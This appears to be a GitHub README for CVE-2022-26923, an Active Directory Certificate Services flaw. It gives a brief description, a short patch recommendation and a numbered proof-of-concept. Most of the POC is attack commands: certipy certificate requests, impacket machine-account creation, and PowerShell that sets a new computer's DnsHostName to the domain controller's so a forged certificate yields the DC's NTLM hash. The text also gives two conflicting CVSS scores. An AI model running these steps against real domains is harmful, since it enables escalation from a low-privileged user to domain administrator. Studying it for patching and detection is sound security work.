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The vulnerability allowed a low-privileged user to escalate privileges to domain administrator in a default Active Directory environment with the Active Directory Certificate Services (AD CS) server role installed.

LudovicPatho/CVE-2022-26923_AD-Certificate-Services

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CVE-2022-26923 AD Certificate Services

  • Date of publication : 10/05/2022
  • Attack complexity: Low
  • Privileges required: Low
  • CVSS Score : 8.1

The vulnerability allowed a low-privileged user to escalate privileges to domain administrator in a default Active Directory environment with the Active Directory Certificate Services (AD CS) server role installed.

An exploit was developed by Oliver Lyak (ly4k_) in Python and was published before and not after the advisory. It is declared as proof-of-concept. The exploit is available for download at research.ifcr.dk.

Source :

Description

The newly revealed Active Directory Domain privilege escalation flaw hasn’t been yet exploited in the wild, still its high 8.8. CVSS score points to a high risk it poses to the compromised systems enabling attackers to abuse the certificate issues. CVE-2022–26923 allows manipulating the DnsHostName attribute, which specifies the computer name as it is registered in DNS, and then enables an adversary to obtain a certificate from the AD Certificate Services, potentially leading to elevation of privilege.

POC

    - Username: user_test
    - Password: Password123#
    - Domain: my.domain.com
    
    To reproduce you must: 
    - Have impacket and certipy installed on the attacking machine.
      - https://github.com/SecureAuthCorp/impacket
      - https://github.com/ly4k/Certipy
    - Have compromised a user with low privilege. 
    - A system is vulnerable only if Active Directory Certificate Services is running on the domain.
  1. Let's start by generating a certificate for our low privilege AD user (Username=user_test Password=Password123#) using the certificate template User :

    certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
    
  2. Let's check that the certificate is valid and that it can be used for Kerberos authentication via Certipy :

    certipy auth -pfx user_test.pfx
    
  3. Adding a virtual computer to the domain with Impacket

    addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
    
    # my.domain.com/user_test:Password123# - We need to provide valid AD credentials in order to add a new computer.
    # method - The method of authentication. LDAPS will interface with the LDAP service on the domain controller.
    # computer-name - The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.
    # computer-pass - The password associated with our computer's machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.
    
  4. Let's generate a certificate for the new computer we created. To use the machine account of said computer, you need to add a "$" at the end of the name:

    certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
    
  5. On the compromised machine, updating the DNS Hostname and SPN Attributes :

    PS C:\Users\user_test> Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
    
  6. Remove our current SPN attribute

    PS C:\Users\user_test> Set-ADComputer NEW_PC -ServicePrincipalName @{}
    
  7. Try to set the DNS hostname attribute to that of the DC:

    PS C:\Users\user_test> Set-ADComputer NEW_PC -DnsHostName HOSTANME.my.domain.com
    
  8. On the attacking machine, forging a Malicious Certificate

    certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
    
  9. Verify that this certificate is working and will return the NTLM hash

    certipy auth -pfx hostname.pfx
    

Mitigations and Fixes

For CVE-2022–26923 mitigation and protective measures, Microsoft strongly recommends updating all servers that run AD Certificate Services and Windows domain controllers operating certificate-based authentication to the latest May 10 version.

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The vulnerability allowed a low-privileged user to escalate privileges to domain administrator in a default Active Directory environment with the Active Directory Certificate Services (AD CS) server role installed.

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